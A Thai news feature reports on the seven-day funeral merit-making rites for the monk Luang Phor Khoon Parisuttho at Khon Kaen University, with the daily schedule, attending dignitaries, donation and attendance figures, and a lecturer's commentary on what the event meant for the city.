อานิสงส์…สู่….ขอนแก่น เมตตา บารมี หลวงพ่อคูณ ปริสุทโธ

ต้องเรียกว่าเป็น “ปรากฏการณ์ขอนแก่น” ที่เกิดขึ้นในห้วงเวลาที่ได้มีการจัดงานบำเพ็ญกุศลสรีระสังขาร ของพระเทพวิทยาคมหรือ หลวงพ่อคูณ ปริสุทโธ เจ้าอาวาสวัดบ้านไร่ ต.กุดพิมาน อ.ด่านขุนทด จ.นครราชสีมาที่ศูนย์ประชุมเอนกประสงค์กาญจนาภิเษก มหาวิทยาลัยขอนแก่น ระหว่างวันที่17– 23 พฤษภาคม เป็นเวลา 7 วัน

158cs

เป็นไปตามที่หลวงพ่อคูณได้ระบุไว้ในพินัยกรรม (อ่านประกอบล้อมกรอบ) ก่อนมรณภาพ จึงได้มีการนำสรีระสังขารของหลวงพ่อคูณมอบให้แก่โรงพยาบาลศรีนครินทร์ คณะแพทย์ศาสตร์ มหาวิทยาลัยขอนแก่น เพื่อเป็น              ”ครูใหญ่” ให้แก่นักศึกษาแพทย์ คณะแพทย์ศาสตร์ มหาวิทยาลัยขอนแก่น

ด้วยเมตตา บารมี ที่หลวงพ่อคูณ ระบุไว้ในพินัยกรรมดังกล่าว ได้สร้างอานิสงส์ให้กับสิ่งที่เรียกได้ว่า“ปรากฏการณ์ขอนแก่น” ที่ดึงเอาบรรดาพุทธศาสนิกชนและศิษยานุศิษย์ทั่วทุกภูมิภาคในประเทศ และประเทศเพื่อนบ้านที่มีความเลื่อมใสและศรัทธาในหลวงพ่อคูณให้เดินทางมาร่วมพิธีจำนวนนับล้านคน

ตลอดระยะเวลา 7 วัน ของการทำพิธีผู้คนที่เดินทางมา ล้วนต่างมีใบหน้าที่อิ่มเอิบที่ได้มีโอกาสมาร่วมพิธีทำบุญอุทิศส่วนกุศลให้หลวงพ่อคูณ พระสงฆ์ที่เปี่ยมล้นด้วยเมตตา มีตัวเลขบุคคล บริษัท ห้างร้านเข้าไปจัดทำโรงทานเพื่อบริการแก่ผู้ที่กราบสรีระสังขารของหลวงพ่อคูณ ที่ได้แจ้งแก่มหาวิทยาลัยขอนแก่น กว่า 3,000 ราย

ขณะที่ยังไม่ได้แจ้งอีกเป็นจำนวนมาก โดยโรงทานที่ได้นำมาบริการล้วนเป็นอาหารที่ได้คัดเลือกมาอย่างดี ในเรื่องคุณภาพและรสชาติ แต่ไม่ใช่สาระสำคัญเท่ากับพลังแห่งศรัทธาและความตั้งใจที่จะร่วมทำบุญเพื่อหลวงพ่อคูณเป็นด้านหลัก

ตัวเลขเม็ดเงินที่ได้รับจากการบริจาคในช่วงเวลา 7 วัน มีกว่า 51 ล้านบาทเศษ ซึ่งถือว่าจำนวนมาก ทั้งที่เป็นห้วงระยะเวลาสั้นๆ มีบุคคลสำคัญจากทุกวงการเดินทางมาร่วมพิธี อาทิ มล.ปนัดดา ดิศกุล รัฐมนตรีประจำสำนักนายกรัฐมนตรี

นายอภิสิทธิ์ เวชชาชีวะ อดีตนายกรัฐมนตรี หัวหน้าพรรคประชาธิปัตย์ น.ส.ยิ่งลักษณ์ ชินวัตร อดีตนายกรัฐมนตรี สมัยที่ผ่านมา นายสุวัจน์ ลิปตพัลลภ อดีตรองนายกรัฐมนตรี นายสุทธิชัย หยุ่น ประธานบริหารเครือเนชั่น นายยืนยง โอภากุล หรือ “แอ๊ด คาราบาว” ฯลฯ

ปริมาณบุคคลที่มาร่วมพิธีจำนวนมากเฉลี่ยวันละกว่าหนึ่งแสนคน โดยประมาณการณ์ว่า มีผู้เดินทางมากราบสรีระสังขารของหลวงพ่อคูณในช่วง 7 วัน มากถึงกว่าหนึ่งล้านคน

ที่น่าสนใจคือ ตัวเลขของผู้บริจาคร่างกายให้แก่คณะแพทย์ศาสตร์ มหาวิทยาลัยขอนแก่น ในระหว่างทำบุญอุทิศส่วนกุศลให้แก่หลวงพ่อคูณ ปริสุทโธ เพิ่มขึ้นกว่า100 เปอร์เซ็นต์ โดยจากเดิมมีตัวเลขบริจาคเฉลี่ยวันละ 50 คนเพิ่มเป็นวันละ100 คน

ไม่เคยมีปรากฏเช่นนี้ ในการจัดกิจกรรมที่ผ่านมาทั้งหมด ของจังหวัดขอนแก่น และมหาวิทยาลัยขอนแก่น ที่คงจะต้องถูกบันทึกไว้เป็นประวัติศาสตร์ของจังหวัดขอนแก่น และมหาวิทยาลัยขอนแก่น ที่ยากจะหาสถิติมาลบเลือนไปได้ง่ายๆอย่างแน่นอน …

นี่คือ…อานิสงส์…จาก…เมตตา บารมีของหลวงพ่อคูณ ปริสุทโธ หรือ พระเทพวิทยาคม เจ้าอาวาสวัดบ้านไร่ ต.กุดพิมาน อ.ด่านขุนทด จ.นครราชสีมา ที่มีต่อคณะแพทย์ศาสตร์ มหาวิทยาลัยขอนแก่น และประชาชนจ.ขอนแก่น ที่มิอาจกล่าวเป็นอื่นได้…

 

(สรีระสังขารถึงม.ขอนแก่น)

การเตรียมการด้านพิธีการต่างๆนั้น สำนักวัฒนธรรม มหาวิทยาลัยขอนแก่น ร่วมกับสำนักงานพุทธศาสนา พระผู้ใหญ่ในจังหวัดขอนแก่นและนครราชสีมา ตลอดจนพระลูกศิษย์ที่ใกล้ชิดกับหลวงพ่อคูณ ได้ร่วมกันปรึกษาหารือในการวางกำหนดการและพิธีกรรมต่างๆ ให้ถูกต้องตามเจตนารมณ์ของหลวงพ่อคูณ และความเหมาะสม

เวลาประมาณ 22.00 น.คืนวันที่ 16 พฤษภาคม สรีระสังขารของหลวงพ่อคูณได้เคลื่อนมาถึงมหาวิทยาลัยขอนแก่น และตั้งพักอยู่ที่อาคาร 25 ปี 1 คืน เมื่อมีการประสานงานใช้สถานที่ศูนย์ประชุมเอนกประสงค์กาญจนาภิเษกฯเรียบร้อย

เวลาประมาณ 14.30 น.วันที่ 17 พฤษภาคม ได้มีการเคลื่อนสรีระสังขารของหลวงพ่อคูณออกจากอาคาร 25 ปี ไปยังศูนย์ประชุมเอนกประสงค์กาญจนาภิเษกฯ โดยมีพระราชปริยัติโสภณ เจ้าคณะจังหวัดขอนแก่น เป็นประธานฝ่ายสงฆ์ และนายสมศักดิ์ ปริสุทโธ เหมทานนท์ ผวจ.ตรัง ลูกศิษย์ใกล้ชิดของหลวงพ่อคูณ เมื่อครั้งรับราชการอยู่ จ.นครราชสีมา เป็นประธานฝ่ายฆราวาส และมหาวิทยาลัยขอนแก่นได้เปิดให้ประชาชนได้เข้าไปเคารพสรีระสังขาร

เวลา 19.00 น. เจ้าหน้าที่สำนักพระราชวังอัญเชิญพวงมาลาพระราชทาน จากพระบาทสมเด็จพระเจ้าอยู่หัวและสมเด็จพระนางเจ้าพระบรมราชินีนาถฯ ตลอดจนพระบรมวงศานุวงษ์ได้เดินทางถึงท่าอากาศยาน ขอนแก่น ด้วยสายการบินนกแอร์ ก่อนที่จะอัญเชิญพวงมาลาพระราชทานสู่ปรัมพิธี

การสวดพระอภิธรรมวันแรก โดยนายสุวัจน์ ลิปตพัลลภ อดีตรองนายกรัฐมนตรี เป็นประธานฝ่ายฆราวาส ร่วมกับนายกำธร ถาวรสถิต ผวจ.ขอนแก่น และพระราชปริยัติโสภณ เจ้าคณะจังหวัดขอนแก่น เป็นประธานฝ่ายสงฆ์

วันที่18 พฤษภาคม

มหาวิทยาลัยขอนแก่น เปิดโอกาสให้พุทธศาสนิกชนที่เดินทางมาเข้าไปกราบสรีระสังขารหลวงพ่อคูณ ภายในศูนย์ประชุมเอนกประสงค์กาญจนาภิเษก มหาวิทยาลัยขอนแก่น ได้ตั้งแต่เวลา 06.00 น.- 22.00 น.โดยพุทธศาสนิกชนต่างทยอยเดินทางมาร่วมพิธีไม่ขาดสาย

สื่อมวลชนทุกแขนงต่างเดินทางมาปักหลักประจำเพื่อรายงานการดำเนินพิธีอย่างใกล้ชิด โดยเฉพาะสถานีโทรทัศน์สีช่อง 3 สถานีโทรทัศน์สีช่อง7 สี สถานีโทรทัศน์ผ่านดาวเทียม TNN 24 สถานีโทรทัศน์เนชั่นแชนแนล สถานีโทรทัศน์ไทยพีบีเอส รายงานสดเป็นระยะได้สร้างกระแสให้ผู้คนต้องการเดินทางกราบสรีระสังขารของหลวงพ่อคูณมาเพิ่มมากยิ่งขึ้น

บุคคลสำคัญได้ทยอยเดินทางมาร่วมพิธี อาทิ พลโทธวัช สุกปลั่ง แม่ทัพภาคที่ 2 คุณหญิงกัลยา โสภณพานิช รองหัวหน้าพรรคประชาธิปัตย์ นายประเสริฐ จันทร์รวงทอง อดีตรัฐมนตรีช่วยกระทรวงคมนาคม

วันที่ 19 พฤษภาคม

เนื่องจากมีบุคคลสำคัญเดินทางมาร่วมทำบุญและกราบสรีระสังขารของหลวงพ่อคูณจำนวนมาก มหาวิทยาลัยขอนแก่นจึงได้จัดให้มีการสวดพระอภิธรรมฯ 4 รอบ ในแต่ละวัน โดยได้นิมนต์พระสงฆ์จากวัดต่างๆสลับกันมาร่วมพิธีสวดพระอภิธรรมฯ

ศิษยานุศิษย์ของหลวงพ่อคูณ ประกอบด้วยพระสงฆ์และฆราวาสกว่า 2,000 คน จากจ.นครราชสีมานำโดยพระราชวิมลโมลี เจ้าคณะ จ.นครราชสีมา ฝ่ายมหานิกาย พระราชสีมาภรณ์ รองเจ้าคณะ จ.นครราชสีมาฝ่ายมหานิกาย พระเทพรัตนดิลก เจ้าคณะ จ.นครราชสีมา ฝ่ายธรรมยุติ พระวินัยโมลี รองเจ้าคณะ จ.นครราชสีมา ฝ่ายธรรมยุติ และนายศักดิ์สิทธิ์ สกลลิขเรศสีมา นายอำเภอด่านขุนทด จ.นครราชสีมา เป็นผู้นำฝ่ายฆราวาส

บุคคลสำคัญที่ได้เดินทางมาร่วมพิธีและเป็นเจ้าภาพในการสวดพระอภิธรรม อาทิ นายสุทธิชัย หยุ่น ประธานบริษัทเนชั่นกรุ๊ป นายสุภาพ คลี่ขจาย อดีตส.ส.พรรคชาติพัฒนา และนายยืนยง โอภากุล หรือ”แอ็ด คาราบาว” ศิลปินเพลงเพื่อชีวิตชื่อดัง นายกมล สกลเดชา อธิบดีศาลปกครองขอนแก่น

วันที่ 20 พฤษภาคม

พุทธศาสนิกชนยังคงเดินทางมาเพื่อกราบสรีระสังขารของหลวงพ่อคูณไม่ขาดสาย มีการติดตั้งจอ LED ขนาดใหญ่ ล้อมรอบบริเวณสนามหญ้าหน้าศูนย์ประชุมอเนกประสงค์กาญจนาภิเษก เพื่อให้ประชาชนได้เห็นบรรยากาศภายในศูนย์ประชุมฯและมหาวิทยาลัยได้มีการจัดรถรับส่งไว้ให้บริการประชาชนระหว่างบริเวณลานจอดรถกับศูนย์ประชุมอเนกประสงค์กาญจนาภิเษกฯ

ไฮไล้ท์ของวันนี้ เป็นการเดินทางมาร่วมพิธีของนายอภิสิทธิ์ เวชชาชีวะ อดีตนายกรัฐมนตรี พร้อมด้วยคุณหญิงกัลยา โสภณพนิช อดีตรมว.กระทรวงวิทยาศาสตร์และเทคโนโลยี นายองอาจ คล้ามไพบูลย์ อดีตรัฐมนตรีประจำสำนักนายกรัฐมนตรี นายสาธิต ปิตุเตชะ รองหัวหน้าพรรคประชาธิปัตย์ภาคกลาง

คณะพระสงฆ์ระดับเจ้าคณะตำบลในเขตอ.ด่านขุนทด จำนวน 21 ตำบล พร้อมด้วยคณะสงฆ์จากจ.นครราชสีมากว่า 100 รูป ร่วมกันสวดพระอภิธรรม โดยนายนคร ศิลปะอาชา ปลัดกระทรวงแรงงาน เป็นประธานฯ บุคคลสำคัญที่มาร่วมได้แก่ พล.ต.ท.บุญเลิศ ใจประดิษฐ์ ผู้บัญชาการตำรวจภูธร ภาค 4 นายสมศักดิ์ ปริสุทโธ เหมทานนท์ ผวจ.ตรัง

พล.ต.ธรากฤต ทับทองสิทธิ์ ผู้บัญชาการมณฑลทหารบกที่ 23 พล.ต.นิตินัย ภีมะโยธิน กองพลทหารม้าที่ 3 ค่ายเปรมติณสูลานนท์ พล.ต.ต.สมศักดิ์ พิศุทธิสุวรรณ รองผบช.ภ.ภาค 4 นางพิมพ์วิมล ถาวรสถิตย์ นายกเหล่ากาชาดจ.ขอนแก่น

นายวีระพันธ์ ทีปสุวรรณ ประธานกรรมการบริษัทปูนซีเมนต์นครหลวง จำกัด  ร.ต.(หญิง)ระนองรักษ์  สุวรรณฉวี นายกอบจ.นครราชสีมา รศ.ดร.วินิต ชินสุวรรณ คณบดีวิทยาลัยบัณฑิตศึกษาการจัดการมข. คุณยายคำมั่น วงษ์กาญจนรัตน์ น้องสาวหลวงพ่อคูณ

(วันที่ 21 พฤษภาคม)

คณะผู้แทนจากประเทศสาธารณรัฐประชาธิปไตยประชาชนลาว ฝ่ายสงฆ์นำโดยพระอาจารย์ดร.มหาเวช มะเสไน รองประธานผู้ประจำการ ศูนย์กลางองค์การพุทธศาสนาสัมพันธ์ลาว ฝ่ายฆราวาส นำโดยท่านเหียม พมมะจัน รมว.การกระทรวงไปรษณีย์โทรคมนาคมและการสื่อสาร

 ฯพณฯหลี บุญค้ำ เอกอัครราชทูต สปป.ลาว ประจำประเทศไทย ท่านบุนสี วงบัวสี กงสุลใหญ่แห่งสาธารณรัฐประชาธิปไตยประชาชนลาว ประจำจังหวัดขอนแก่น ท่านแก่นตา กองบุนมี รองประธานศูนย์กลางแนวลาวสร้างชาติ

ท่านบุญเบ็ง ไชยะปัญญา รองอธิบดีกรมพัวพันมหาชน ท่านบุญทะวี พอนทะสิน รองอธิบดีกรมศาสนา

เจ้าภาพสวดพระอภิธรรม

การสวดพระอภิธรรมช่วง 19.00 น. มล.ปนัดดา ดิศกุล รมต.ประจำสำนักนายกรัฐมนตรี ในฐานะผู้แทนนายกรัฐมนตรีและคณะรัฐมนตรี ได้เดินทางมาเป็นประธานฯ พร้อมบุคคลสำคัญ อาทิ นายพิศิษฐ์ ลีลาวชิโรภาส ผู้ว่าการตรวจเงินแผ่นดิน นายพนม ศรศิลป์ ผอ.สำนักงานพระพุทธศาสนาแห่งชาติ เจ้าประคุณสมเด็จพระมหารัชมังคลาจารย์ พระพรหมสิทธิ เจ้าอาวาสวัดสระเกศ นายสมศักดิ์ ปริสุทโธ เหมทานนท์ ผวจ.ตรัง นายวิเชียร จันทโนทัย ผวจ.ชัยภูมิ

นางชนกพรรณ บุญสม ผู้พิพากษาหัวหน้าศาลแขวงจ. ขอนแก่น รศ.ดร.วิเชียร ฝอยพิกุล อธิการบดีมหาวิทยาลัยราชภัฏนครราชสีมา นายลักษณ์ วจนาน กรรมการผจก.ธนาคารเพื่อการเกษตรและสหกรณ์การเกษตร นายสุรศักดิ์ เยี่ยมสูงเนิน ผจก.เขตธนาคารกสิกรไทย นายธีระศักดิ์ ฑีฆายุพันธุ์ นายกเทศมนตรีนครขอนแก่น

นายสมพงษ์ ปทุมทอง มูลนิธิน้ำและคุณภาพชีวิต นายลบพาล และนางรุ่งทิวา ธีระบุตร นายกสมาคมผู้ปกครองและครูโรงเรียนอัสสัมชัญ จ.นครราชสีมา น.พ.สำเริง แหยงกระโทก อดีตนายกอบจ.นครราชสีมา ผศ.นพ.พรหมพิศิษฐ์ โจทย์กิ่ง ศ.ดร.ประสาท สืบค้า อดีตอธิการบดี มหาวิทยาลัยเทคโนโลยีสุรนารี

รศ.นพ.สุกิจ พันธมาฑมาศ อธิการบดีมหาวิทยาลัยเทคโนโลยีสุรนารี นายจิรวุฒิ คุวานันท์ ประธานกรรมการ บริษัท โค้วยู่ฮะมอเตอร์ จำกัด รศ.สมนึก ธีรกุลพิสุทธิ์ อดีตคณบดีคณะวิศวกรรมศาสตร์มข. ผศ.สมเกียรติ ศรีจารนัย คณบดีคณะวิทยาศาสตร์ ฯลฯ

วันที่ 22 พฤษภาคม

ไฮไลท์ของวันนี้ คือการเดินทางมาของ น.ส.ยิ่งลักษณ์ ชินวัตร อดีตนายกรัฐมนตรี ซึ่งการดูแล

รักษาความปลอดภัยนั้นเข้มงวดมากกว่าทุกวันที่ผ่านมา เพราะมีการนำเอาเครื่องมือในการตรวจวัตถุระเบิดเข้าไปตรวจสอบบุคคลก่อนที่จะเข้าไปในบริเวณศูนย์ประชุมเอนกประสงค์ฯ

บุคคลสำคัญอื่นๆที่เดินทางมาได้แก่ม.ร.ว.จิราคม กิติยากร นายนิวัฒน์ธำรง บุญทรงไพศาล อดีตรองนายกรัฐมนตรี นายไสว พราณ์มณี อดีตปลัดกระทรวงแรงงาน นายกำธร ถาวรสถิตย์ ผวจ.ขอนแก่น นายสมศักดิ์ ปริสุทโธ เหมทานนท์ ผวจ.ตรัง นายสุธน เวชกรกานนท์ อดีตผวจ.นนทบุรี

นายศักดา วัตตธรรม ผู้พิพากษาหัวหน้าศาลจังหวัดขอนแก่น นางชัญญา รักข์กฤตยา ผู้พิพากษาหัวหน้าศาลเยาวชนจังหวัดขอนแก่น  นายสามารถ อังวราวงษ์ ประธานสภาอุตสาหกรรมจ.ขอนแก่น นายทองเปลว กองจันทร์  ผอ.สำนักบริหารจัดการน้ำและอุทุกวิทยา กรมชลประทาน

นางอุไร ลิ้มปิติ รองผู้ว่าการด้านเสถียรภาพสถาบันการเงิน ธนาคารแห่งประเทศไทย นางพัชรีพร  วรวิบูลย์สวัสดิ์ ผู้อำนวยการธนาคารออมสิน ภาค11

นายโชคชัย คุณวาสี บริษัทโตโยต้าแก่นนคร นางชุติมา สงวนตระกูล บริษัทโตโยต้าขอนแก่น น.ส.สุชาดา คุณวาสี บริษัทโตโยต้าเมืองเลย นายสุนทร จิตอำนวยวัฒนา บริษัทวัฒนากล่องกระดาษ–พลาสติก

นายเสริมศักดิ์ พงษ์พาณิชย์ อดีตรมช.ศึกษาธิการ นางกมลพร ตรียชาติ กรรมการบริหารกลุ่ม K SME Care Network โดยธนาคารกสิกรไทย ผศ.นพ.วินัย ตันติยาสวัสดิ์กุล นายกสมาคมศิษย์เก่ามข. นายจรินทร์ จักกะพาก รองปลัดกระทรวงมหาดไทย ฯลฯ

(วันที่ 23 พฤษภาคม)

ไฮไลท์วันนี้ คือการเดินทางมาของ ดร.ณรงค์ชัย อัครเศรณี นายกสภามหาวิทยาลัยขอนแก่น และรมว.กระทรวงพลังงาน บุคคลสำคัญอื่นๆได้แก่ศ.บวรศักดิ์ อุวรรณโน ประธานกรรมาธิการยกร่างรัฐธรรมนูญ นายเตช  บุนนาค อดีตรมว.ต่างประเทศ ในฐานะอุปนายกสภามหาวิทยาลัยขอนแก่น คุณยายคำมั่น วงศ์กาญจนรัตน์ น.ส.ชุติมา บุญประภัทร ปลัดกระทรวงพาณิชย์

(วันที่24 พฤษภาคม)

วันสุดท้ายปริมาณคนที่มาร่วมพิธีจะน้อยกว่าทุกวันที่ผ่านมา ประเมินว่าราว 8 หมื่นคน ขณะที่วันที่ผ่านมา

มากกว่าหนึ่งแสนคนต่อวัน อาจจะเนื่องจากพุทธศาสนิกชนเข้าใจว่า ไม่มีการอนุญาตให้เข้าไปกราบสรีระสังขาร ตลอดเสองข้างทางเคลื่อนสรีระสังขารมีผู้ศรัทธาหลวงพ่อคูณรอกราบนมัสการ และนำเอาสิ่งของวางให้บนถนนเส้นทางเคลื่อนสรีระสังขารได้ทับเพื่อเก็บกลับไปบูชา

บุคคลสำคัญได้แก่ น.พ.วรรณรัตน์ ชาญนุกูล อดีตรมว.กระทรวงพลังงาน นายประเสริฐ บุญชัยสุข อดีตรมว.อุตสาหกรรม นายเทวัญ ลิปตพัลลภ อดีตส.ส.นครราชสีมา นายวินัย วิทยานุกูล รองผวจ.นคราชสีมา รองผวจ.นครราชสีมา นายบุญยืน คำหงส์ รองผวจ.นครราชสีมา

พล.ต.กฤต ผิวเงิน ผู้บัญชาการกองพลทหารราบที่ 3 พ.ต.อ.วณัฐ อรรถกวิน รองผบก.ภ.จว.นครราชสีมา นางเข็มทอง เรืองกฤตติยา รองประธานกรรมการวัดบ้านไร่ นายสมบัติ กาญจนวัฒนา ประธานสภาองค์การบริหารส่วนจังหวัดนครราชสีมา นายประภาส รักษาทรัพย์ ปลัดจังหวัดนครราชสีมา

บุคคลสำคัญของจ.ขอนแก่นได้แก่ นายศักดา วัตตธรรม ผู้พิพากษาหัวหน้าศาล จ.ขอนแก่น น.ส.อรุณวรรณ แก้วจินดา อัยการจังหวัดขอนแก่น พล.ต.ท.บุญเลิศ ใจประดิษฐ์ ผบช.ภ.4 พล.ต.ธรากฤต ทับทองสิทธ์ ผู้บัญชามณฑลทหารบกที่ 23

พล.ต.นิตินัย ภีมะโยธิน ผู้บัญชาการกองพลทหารม้าที่ 3 นายศิวาโรจน์ มุ่งหมายผล รองผวจ.ขอนแก่น

พล.ต.ต.จตุพล ปานรักษา รองผบช.ภ. 4  พล.ต.ต.จิตรจรูญ ศรีวนิชย์ ผบก.ภ.จว.ขอนแก่น

พ.อ.สวราชย์ แสงผล ผบ.กรมทหารราบที่ 8

นายสุรชัย วัฒนาอุดมชัย ปลัดจังหวัดขอนแก่น นายยรรยง วิไลพงษ์ หัวหน้าสำนักงานจังหวัดขอนแก่น นายพงษ์ศักดิ์ ตั้งวานิชกพงษ์ นายกอบจ.ขอนแก่น นายธีระศักดิ์ ฑีฆายุพันธุ์ นายกเทศมนตรีนครขอนแก่น นายสมิง ยิ้มศิริ ประธานหอการค้าจ.ขอนแก่น

ในส่วนของมหาวิทยาลัยขอนแก่น ได้แก่ รศ.นพ.ชาญชัย พานทองวิริยะกุล คณบดีคณะแพทยศาสตร์ ผศ.ลิขิต อมาตยคง รองอธิการบดีฝ่ายทรัพยากรบุคคล ผศ.ดร.เด่นพงษ์  สุดภักดี รองอธิการบดีฝ่ายวิชาการและสื่อสารองค์ รศ.ดร.นิยม วงศ์พงษ์คำ รองอธิการบดีฝ่ายศิลปวัฒนธรรมและชุมชนสัมพันธ์ รศ.นพ.เสริมศักดิ์  สุมานนท์  รองคณบดีคณะแพทยศาสตร์

รศ.ดร.ขนิษฐา นันทบุตร คณบดีคณะพยาบาลศาสตร์ ผศ.ดร.สมศักดิ์ พิทักษานุรัตน์ คณบดีคณะสาธารณสุขศาสตร์ รศ.ทพญ.ดร.นวรัตน์ วราอัศวปติเจริญ คณบดีคณะทันตแพทยศาสตร์ รศ.น.สพ.ชูชาติ กมลเลิศคณบดีคณะสัตวแพทย์ รศ.ดร.เกรียงไกร กิจเจริญ คณบดีคณะเทคนิคการแพทย์ รศ.ดร.ไพบูลย์ ดาวสดใส คณบดีคณะเภสัชศาสตร์

รศ.ดร.ศุภวัฒนากร วงศ์ธนวสุ คณบดีวิทยาลัยการปกครองท้องถิ่น รศ.นพ.วิทูรย์  ประเสริฐเจริญสุขรองคณบดีคณะแพทยศาสตร์ นายสันติ พิเชษฐชัยกุล ประติมากรไทยระดับโลก รศ.นพ.สุรพล วีระศิริ รองคณบดีคณะแพทยศาสตร์

ทอดผ้าไตรรองโดย นายธงชัย ลืออดุลย์ ผวจ.นครราชสีมา นายกำธร ถาวรสถิต ผวจ.ขอนแก่น รศ.ดร.กิตติชัย ไตรรัตนศิริชัย  อธิการบดีมหาวิทยาลัยขอนแก่น นายสุวัจน์ ลิปตพัลลภ อดีตรองนายกรัฐมนตรี และทอดผ้าไตรเอก พลโทธวัช สุขปลั่ง แม่ทัพภาคที่ 2

พระสงฆ์ทำพิธีขอขมา(ในหอประชุมฯ) พระธรรมวรนายก ที่ปรึกษาเจ้าคณะจังหวัดนครราชสีมา วัดพระนารายณ์มหาราชวรวิหาร และเคลื่อนสรีระสังขารพระเทพวิทยาคม ไปยังภาควิชากายวิภาคศาสตร์ คณะแพทยศาสตร์ มหาวิทยาลัยขอนแก่น)เสร็จสิ้นพิธีการในเวลาประมาณ 15.00 น.

ห้วงเวลา 7 วัน ได้สร้างปรากฏการณ์แห่งความรัก ความศรัทธา การเสียสละอันยิ่งใหญ่ ณ จังหวัดขอนแก่น นับแต่นี้ไป สรีระสังขารของหลวงพ่อคูณ ปริสุทโธ อยู่ในการดูแลของคณะแพทย์ศาสตร์ มหาวิทยาลัยขอนแก่น เพื่อทำหน้าที่ “ครูใหญ่”ให้แก่นักศึกษาแพทย์

โดยจะใช้เวลาในการดองสรีระสังขาร 1 ปีเพื่อให้เนื้อเยื่อพร้อมจากนั้นจะนำมาให้นักศึกษาแพทย์ได้ศึกษาเป็นเวลา 2 ปี ก่อนที่จะได้มีพิธีพระราชทานเพลิงศพเช่นเดียวกับ “ครูใหญ่”ท่านอื่นๆ ตามเจตนารมณ์ของหลวงพ่อคูณที่ระบุไว้ในพินัยกรรม สาธุ สาธุ สาธุ….

“”””””””””””””””””””””””

(ล้อมกรอบ)

หัวเรื่อง – อานิสงส์ต่อเมืองขอนแก่น

ดร.แก้วตา จันทรานุสรณ์ อาจารย์ประจำคณะมนุษยศาสตร์ และสังคมศาสตร์ มหาวิทยาลัยขอนแก่น ซึ่งเป็นบุคคลที่ได้เข้าไปร่วมพิธีครั้งนี้ ให้ความเห็นว่า  ตลอดระยะเวลา 7 วันของการบำเพ็ญกุศลนั้นได้เกิดปรากฏการณ์มากมายที่อาจกล่าวได้ว่า เป็นประวัติศาสตร์หน้าสำคัญของเมืองขอนแก่น นอกเหนือจากคุณูปการทางวิชาการแล้ว การที่หลวงพ่อคูณ ปริสุทโธ ตัดสินใจทำพินัยกรรมมอบสรีระสังขารให้กับคณะแพทยศาสตร์ฯ  ยังได้สร้างอานิสงส์ต่ออารมณ์ทางสังคมของชาวขอนแก่น

เมื่อสรีระสังขารของเกจิผู้มีฉายาเทพเจ้าแห่งด่านขุนทดมาถึงรั้วมอดินแดงทำให้ค่ำคืนของวันที่ 16 พ.ค.2558 สว่างไสว ด้วยแจ้งแก่ใจว่านี่คืองานสำคัญที่สุดงานหนึ่งของมหาวิทยาลัยขอนแก่นและเมืองขอนแก่น  ทั้งตระหนักในกระแสความเมตตาและประสงค์น้อมใจอนุโมทนาในทานบารมีของหลวงพ่อคูณ ปริสุทโธ

แม้ศูนย์ประชุมอเนกประสงค์กาญจนาภิเษก จะถูกออกแบบมาให้จุคนได้จำนวนมาก  แต่กลับดูแคบไปถนัดตาเมื่อสาธุชนจากทั่วประเทศต่างมุ่งหน้ามาด้วยจุดมุ่งหมายเดียวกัน  ปรากฏการณ์นี้ไม่เคยเกิดขึ้นมาก่อนในเมืองขอนแก่น  เพราะแม้แต่งานใหญ่ฉลอง 50 ปีมหาวิทยาลัยขอนแก่นหรืองานพระราชทานปริญญาก็มิได้มีผู้คนเข้ามามีส่วนร่วมมากมายถึงเพียงนี้

ปรากฏการณ์นี้บ่งบอกความหมายทางอารมณ์สังคมของไทยอย่างไรบ้าง ถ้าเราสังเกตจะพบว่าเมื่อต้นปีที่ผ่านมาหรือก่อนหน้านั้นสื่อได้นำเสนอข้อมูลเกี่ยวกับวิกฤตศรัทธาที่มีต่อพระสงฆ์และผู้นำทางศีลธรรมอยู่เป็นระยะ   ประกอบกับบริบททางสังคมที่ปริแยกทำให้คนไทยต่างรู้สึกหวาดหวั่น ไม่มั่นคงจึงแสวงหาที่ยึดเหนี่ยวทางจิตใจ  โดยเฉพาะบุคคลซึ่งเป็นสัญลักษณ์ของความดีงาม ไม่เห็นแก่ประโยชน์ส่วนตน ดำเนินวิถีอยู่บนเส้นทางของเมตตา  กรุณาเสียสละทั้งทานและจาคะ ซึ่งตรงกันข้ามกับลักษณะอันละโมบของผู้นำที่กลายเป็นเหตุแห่งวิกฤตของบ้านเมือง

หากพิจารณาปรากฏการณ์นี้ด้วยสายตาของชาวพุทธก็ต้องสรุปว่านี่คือผลแห่งการสั่งสม “บุญ บารมี” ของหลวงพ่อคูณ  ปริสุทโธ (ซึ่งในทางสังคมอาจอธิบายว่าเป็นรูปแบบหนึ่งของสิ่งที่เรียกว่า solf power เพราะฝรั่งไม่มีแนวคิดเกี่ยวกับเรื่องบุญ บารมี)

แม้แต่ก้อนเมฆบนท้องฟ้าก็ยังก่อรูปแห่งสาธุการแสงแดดอันแผดร้อน และสายฝนอันเปียกชุ่มก็ยังหลีกทางเพื่ออนุโมทนากับผู้มีจิตอันเป็นกุศลที่มาน้อมสักการะสรีระสังขารท่าน  ธรรมชาติเป็นใจปกป้องผู้ประพฤติธรรมยิ่งเสริมศรัทธาให้สาธุชนเชื่อมั่นว่าหลวงพ่อคูณท่านมีบุญแท้

อานิสงส์ในทางเศรษฐกิจ หากไม่นับเงินบริจาคเพื่อสาธารณประโยชน์จำนวนหลายสิบล้านที่ประชาชนต่างเห็นว่าจะได้ร่วมทำบุญใหญ่กับหลวงพ่อคูณ ปริสุทโธ ก็ยังมีเม็ดเงินอีกจำนวนมหาศาลที่ไหลเวียนอยู่ในเมืองขอนแก่นตลอด 7 วันของงานสวดพระอภิธรรม

อานิสงส์ต่อการจัดการทุนทางสังคมวัฒนธรรม  เมืองขอนแก่นอาจถูกพัฒนาโครงสร้างพื้นฐานให้รองรับการคมนาคมขนส่งตามแผนการพัฒนาเศรษฐกิจ แต่การที่สาธุชนจากทั่วประเทศเดินทางมาสักการะสรีระสังขารหลวงพ่อคูณ ปริสุทโธ ทำให้ทุกภาคส่วนต้องเข้ามาร่วมมือกัน ทั้งการระดมผู้รู้  ผู้บริหารผู้มีอำนาจบังคับบัญชาการทั้งที่เป็นทางการและไม่เป็นทางการ  การระดมกำลังคนและทรัพยากรต่างๆ เพื่อการจัดงานดำเนินไปด้วยดีตลอดทั้ง 7 วัน  ซึ่งเป็นที่น่าอัศจรรย์เช่นกันว่า คนเมืองขอนแก่นได้ทำงานใหญ่ร่วมกันโดยไม่มีการวางแผนล่วงหน้ามาก่อนนี้ได้อย่างไร

